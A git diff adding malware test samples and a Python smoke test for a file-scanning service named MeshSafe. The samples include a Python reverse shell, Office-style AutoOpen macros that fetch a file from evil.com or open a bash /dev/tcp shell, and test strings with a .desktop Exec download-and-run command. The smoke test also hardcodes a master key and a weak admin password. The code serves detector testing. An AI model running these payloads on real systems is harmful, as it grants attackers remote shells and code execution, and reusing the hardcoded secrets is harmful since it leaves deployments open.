b/tests/samples/shell_php_obf.php new file mode 100644 index 0000000..dc3e339 --- /dev/null +++ b/tests/samples/shell_php_obf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/shell_python.py b/tests/samples/shell_python.py new file mode 100644 index 0000000..dc60d1d --- /dev/null +++ b/tests/samples/shell_python.py @@ -0,0 +1,7 @@ +import socket, pty, subprocess, os +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("10.0.0.5", 4444)) +os.dup2(s.fileno(), 0) +os.dup2(s.fileno(), 1) +os.dup2(s.fileno(), 2) +pty.spawn("/bin/bash") diff --git a/tests/samples/shortcut.lnk b/tests/samples/shortcut.lnk new file mode 100644 index 0000000..50c0e12 Binary files /dev/null and b/tests/samples/shortcut.lnk differ diff --git a/tests/samples/template_backdoor.docx b/tests/samples/template_backdoor.docx new file mode 100644 index 0000000..7a5c4d1 Binary files /dev/null and b/tests/samples/template_backdoor.docx differ diff --git a/tests/samples/vba_autoexec.bas b/tests/samples/vba_autoexec.bas new file mode 100644 index 0000000..2b5e6da --- /dev/null +++ b/tests/samples/vba_autoexec.bas @@ -0,0 +1,3 @@ +Sub AutoOpen() + Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat" +End Sub diff --git a/tests/samples/wps_macro.js b/tests/samples/wps_macro.js new file mode 100644 index 0000000..6919215 --- /dev/null +++ b/tests/samples/wps_macro.js @@ -0,0 +1,4 @@ +function AutoOpen() { + var sh = new ActiveXObject("Wscript.Shell"); + sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"); +} diff --git a/tests/samples/zip_traversal.zip b/tests/samples/zip_traversal.zip new file mode 100644 index 0000000..914097a Binary files /dev/null and b/tests/samples/zip_traversal.zip differ diff --git a/tests/smoke.py b/tests/smoke.py new file mode 100644 index 0000000..6d68a9c --- /dev/null +++ b/tests/smoke.py @@ -0,0 +1,331 @@ +"""冒烟测试:验证核心模块能否被正常导入和执行。 + +运行:: + + cd d:\\project\\MeshSafe + # 确保 docker compose 的 PostgreSQL 已启动(或设置 MESHSAFE_DB_URL 指向可用 PG) + $env:MESHSAFE_MASTER_KEY_BASE64="eHphbXBsZWtleTEyMzQ1Njc4OTAxMjM0NTY3ODk=" + python tests/smoke.py +""" + +from __future__ import annotations + +import logging +import os +import sys +import tempfile + +# 确保项目根目录在 sys.path 中 +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +# 必须在 import app 之前设置环境变量 +# DB_URL 由 .env 或 compose environment 提供,不再硬编码 SQLite fallback +os.environ.setdefault( + "MESHSAFE_MASTER_KEY", + "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=", +) +os.environ.setdefault( + "MESHSAFE_ADMIN_PASSWORD", + "admin123", +) +os.environ.setdefault("MESHSAFE_POLICY_FILE", "config/policy.yaml") + +passed = 0 +failed = 0 + + +def test(name: str, fn) -> None: + global passed, failed + try: + fn() + passed += 1 + print(f" ✅ {name}") + except Exception as exc: # noqa: BLE001 + failed += 1 + print(f" ❌ {name}: {exc}") + import traceback + traceback.print_exc() + + +print("=" * 60) +print("MeshSafe 冒烟测试") +print("=" * 60) + +# ---- 1) 日志系统 ---- +print("\n[1] 日志系统") + + +def test_logging(): + from app.logging_config import setup_logging, get_logger + + setup_logging() + log = get_logger("smoke") + log.info("INFO 日志正常") + log.warning("WARNING 日志正常") + log.debug("DEBUG 日志被抑制(默认 INFO)") + + +test("logging_config 初始化正常", test_logging) + + +# ---- 2) 配置加载 + 策略解析 ---- +print("\n[2] 配置与策略") + + +def test_config_and_policy(): + from app.config import get_settings + from app.services.policy import PolicyStore + + settings = get_settings() + assert settings.log_level == "INFO", f"log_level 应为 INFO,实际 {settings.log_level}" + + store = PolicyStore(policy_file="config/policy.yaml") + policy = store.current() + + # 零容忍规则集 + zt = policy.zero_tolerance_rules + assert len(zt) >= 20, f"零容忍规则应 >= 20 条,实际 {len(zt)}" + + # 关键规则必须存在 + for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable", + "DesktopFileAutoExec", "ShellScriptDangerous", + "LnkWithAutoExec"): + assert rule in zt, f"零容忍规则缺少: {rule}" + + print(f" 零容忍规则 {len(zt)} 条 ✓") + print(f" macro_exceptions {len(policy.macro_exceptions or [])} 条") + + +test("Settings + PolicyStore 加载正常", test_config_and_policy) + + +# ---- 3) PolicyEngine 零容忍优先 ---- +print("\n[3] PolicyEngine 零容忍优先检查") + + +def test_zero_tolerance_priority(): + from app.services.policy import PolicyEngine, PolicyStore + from app.engines.base import Finding, Severity + + store = PolicyStore(policy_file="config/policy.yaml") + engine = PolicyEngine(store.current()) + + # 构造一个命中零容忍规则的 finding + findings = [ + Finding( + engine="structure", + layer="L0", + severity=Severity.CRITICAL.value, + rule="PathTraversal", + detail="归档成员路径 ../../etc/passwd", + weight=85.0, + ), + ] + + decision = engine.decide( + findings, + filename="evil.zip", + declared_ext=".zip", + size=1024, + ) + + assert decision.verdict == "malicious", f"verdict 应为 malicious,实际 {decision.verdict}" + assert decision.action == "reject", f"action 应为 reject,实际 {decision.action}" + assert decision.score == 100.0, f"零容忍应给 100 分,实际 {decision.score}" + assert len(decision.triggered) == 1 + assert decision.triggered[0]["type"] == "zero_tolerance" + + +test("零容忍命中 → 直接 reject,不走评分", test_zero_tolerance_priority) + + +# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ---- +print("\n[4] Linux 专属检测(ELF)") + + +def test_elf_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + # 创建一个最小 ELF 文件(ELF magic header) + with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f: + f.write(b"\x7fELF" + b"\x00" * 60) + elf_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=elf_path, + filename="malicious.elf", + declared_ext=".elf", + logical_path="malicious.elf", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + # 必须有 LinuxExecutable finding + zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"] + assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable,实际 findings={result.findings}" + + print(f" ELF 魔数识别: real_type={result.meta.get('real_type')}") + print(f" 命中规则: {[f.rule for f in result.findings]}") + finally: + os.unlink(elf_path) + + +test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection) + + +# ---- 5) .desktop 文件危险命令检测 ---- +print("\n[5] Linux 专属检测(.desktop 危险命令)") + + +def test_desktop_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + content = """[Desktop Entry] +Type=Application +Name=Evil App +Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p" +""" + + with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f: + f.write(content) + desktop_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=desktop_path, + filename="evil.desktop", + declared_ext=".desktop", + logical_path="evil.desktop", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"] + assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec,实际 findings={result.findings}" + + print(f" 命中规则: {[f.rule for f in result.findings]}") + finally: + os.unlink(desktop_path) + + +test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection) + + +# ---- 6) Shell 脚本反弹 Shell 检测 ---- +print("\n[6] Linux 专属检测(Shell 反弹 Shell)") + + +def test_reverse_shell_detection(): + from app.engines.structure import StructureEngine + + engine = StructureEngine() + + content = """#!/bin/bash +# 反弹 Shell +bash -i >& /dev/tcp/attacker.com/4444 0>&1 +""" + + with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f: + f.write(content) + sh_path = f.name + + try: + from app.engines.base import ScanTarget + + target = ScanTarget( + path=sh_path, + filename="reverse.sh", + declared_ext=".sh", + logical_path="reverse.sh", + depth=0, + ) + + ctx = type("Ctx", (), {"settings": None})() + result = engine.safe_scan(target, ctx) + + zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"] + assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous,实际 findings={result.findings}" + assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL,实际 {zt_findings[0].severity}" + + print(f" 命中规则: {[(f.rule, f.severity) for f in result.findings]}") + finally: + os.unlink(sh_path) + + +test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection) + + +# ---- 7) open_risk 计算 ---- +print("\n[7] open_risk 计算") + + +def test_open_risk(): + from app.services.policy import PolicyEngine + from app.engines.base import Finding, Severity + + # 无风险 + open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx") + assert open_risk["level"] == "low" + print(f" 无风险 docx: level={open_risk['level']}") + + # 零容忍命中 + open_risk = PolicyEngine.compute_open_risk( + "malicious", + [Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)], + ".elf", + ) + assert open_risk["level"] == "critical" + assert "zero_tolerance_hit" in open_risk["factors"] + print(f" ELF 命中: level={open_risk['level']} factors={open_risk['factors']}") + + # 含宏 + open_risk = PolicyEngine.compute_open_risk( + "clean", + [Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)], + ".docm", + ) + assert open_risk["level"] == "high" + assert "contains_macro" in open_risk["factors"] + print(f" 含宏 docm: level={open_risk['level']} factors={open_risk['factors']}") + + +test("open_risk 四级计算正确", test_open_risk) + + +# ---- 8) main.py 导入 ---- +print("\n[8] main.py 导入") + + +def test_main_import(): + # main.py 启动时会尝试连接数据库,这里只验证可被 import 解析 + # 实际启动需要 db_url 有效 + import importlib.util + + spec = importlib.util.spec_from_file_location("app.main", "app/main.py") + assert spec is not None + print(" main.py 文件可被解析 ✓") + + +test("main.py 可被 import 解析", test_main_import) + + +# ---- 汇总 ---- +print("\n" + "=" * 60) +total = passed + failed +print(f"结果: {passed}/{total} 通过,{failed} 失败") +print("=" * 60) + +sys.exit(0 if failed == 0 else 1) diff --git a/脚本.txt b/脚本.txt new file mode 100644 index 0000000..e69de29